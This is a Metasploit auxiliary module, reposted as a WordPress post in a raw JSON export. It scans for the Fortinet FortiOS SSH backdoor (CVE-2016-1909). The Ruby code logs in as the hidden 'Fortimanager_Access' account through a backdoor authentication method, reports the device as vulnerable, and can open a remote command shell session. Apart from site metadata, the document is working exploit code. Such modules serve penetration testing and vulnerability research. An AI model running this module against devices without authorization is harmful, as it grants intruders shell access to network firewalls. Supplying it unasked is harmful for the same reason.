##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Auxiliary<\/p>\n
include Msf::Exploit::Remote::SSH
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::CommandShell
include Msf::Sessions::CreateSessionOptions
include Msf::Auxiliary::Report
include Msf::Auxiliary::ReportSummary<\/p>\n
def initialize(info = {})
super(update_info(info,
‘Name’ => ‘Fortinet SSH Backdoor Scanner’,
‘Description’ => %q{
This module scans for the Fortinet SSH backdoor.
},
‘Author’ => [
‘operator8203 <operator8203[at]runbox.com>’, # PoC
‘wvu’ # Module
],
‘References’ => [
[‘CVE’, ‘2016-1909’],
[‘EDB’, ‘39224’],
[‘PACKETSTORM’, ‘135225’],
[‘URL’, ‘https:\/\/seclists.org\/fulldisclosure\/2016\/Jan\/26’],
[‘URL’, ‘https:\/\/blog.fortinet.com\/post\/brief-statement-regarding-issues-found-with-fortios’]],
‘DisclosureDate’ => ‘2016-01-09’,
‘License’ => MSF_LICENSE
))<\/p>\n
register_options([
Opt::RPORT(22)
])<\/p>\n
register_advanced_options([
OptBool.new(‘SSH_DEBUG’, [false, ‘SSH debugging’, false]),
OptInt.new(‘SSH_TIMEOUT’, [false, ‘SSH timeout’, 10])
])
end<\/p>\n
def run_host(ip)
factory = ssh_socket_factory<\/p>\n
ssh_opts = ssh_client_defaults.merge({
port: rport,
# The auth method is converted into a class name for instantiation,
# so fortinet-backdoor here becomes FortinetBackdoor from the mixin
auth_methods: [‘fortinet-backdoor’]})<\/p>\n
ssh_opts.merge!(verbose: :debug) if datastore[‘SSH_DEBUG’]\n
begin
ssh = Timeout.timeout(datastore[‘SSH_TIMEOUT’]) do
Net::SSH.start(ip, ‘Fortimanager_Access’, ssh_opts)
end
rescue Net::SSH::Exception => e
vprint_error(“#{ip}:#{rport} – #{e.class}: #{e.message}”)
return
end<\/p>\n
return unless ssh<\/p>\n
print_good(“#{ip}:#{rport} – Logged in as Fortimanager_Access”)<\/p>\n
version = ssh.transport.server_version.version<\/p>\n
report_vuln(
host: ip,
name: self.name,
refs: self.references,
info: version
)<\/p>\n
shell = Net::SSH::CommandStream.new(ssh)<\/p>\n
# XXX: Wait for CommandStream to log a channel request failure
sleep 0.1<\/p>\n
if (e = shell.error)
print_error(“#{ip}:#{rport} – #{e.class}: #{e.message}”)
return
end<\/p>\n
info = “#{self.name} (#{version})”<\/p>\n
ds_merge = {
‘USERNAME’ => ‘Fortimanager_Access’
}<\/p>\n
if datastore[‘CreateSession’]start_session(self, info, ds_merge, false, shell.lsock)
end<\/p>\n
# XXX: Ruby segfaults if we don’t remove the SSH socket
remove_socket(ssh.transport.socket)
end<\/p>\n
def rport
datastore[‘RPORT’]end<\/p>\n
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SSHinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::CommandShellinclude Msf::Sessions::CreateSessionOptionsinclude Msf::Auxiliary::Reportinclude Msf::Auxiliary::ReportSummary def initialize(info = {})super(update_info(info,‘Name’ => ‘Fortinet SSH Backdoor Scanner’,‘Description’ => %q{This module scans for the Fortinet SSH backdoor.},‘Author’ => [‘operator8203 <operator8203[at]runbox.com>’, # PoC‘wvu’ # Module],‘References’ => [[‘CVE’, ‘2016-1909’],[‘EDB’, ‘39224’],[‘PACKETSTORM’, ‘135225’],[‘URL’, ‘https:\/\/seclists.org\/fulldisclosure\/2016\/Jan\/26’],[‘URL’, ‘https:\/\/blog.fortinet.com\/post\/brief-statement-regarding-issues-found-with-fortios’]],‘DisclosureDate’ => ‘2016-01-09’,‘License’ => …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59367","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59367","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59367"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59367\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59367"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59367"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59367"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}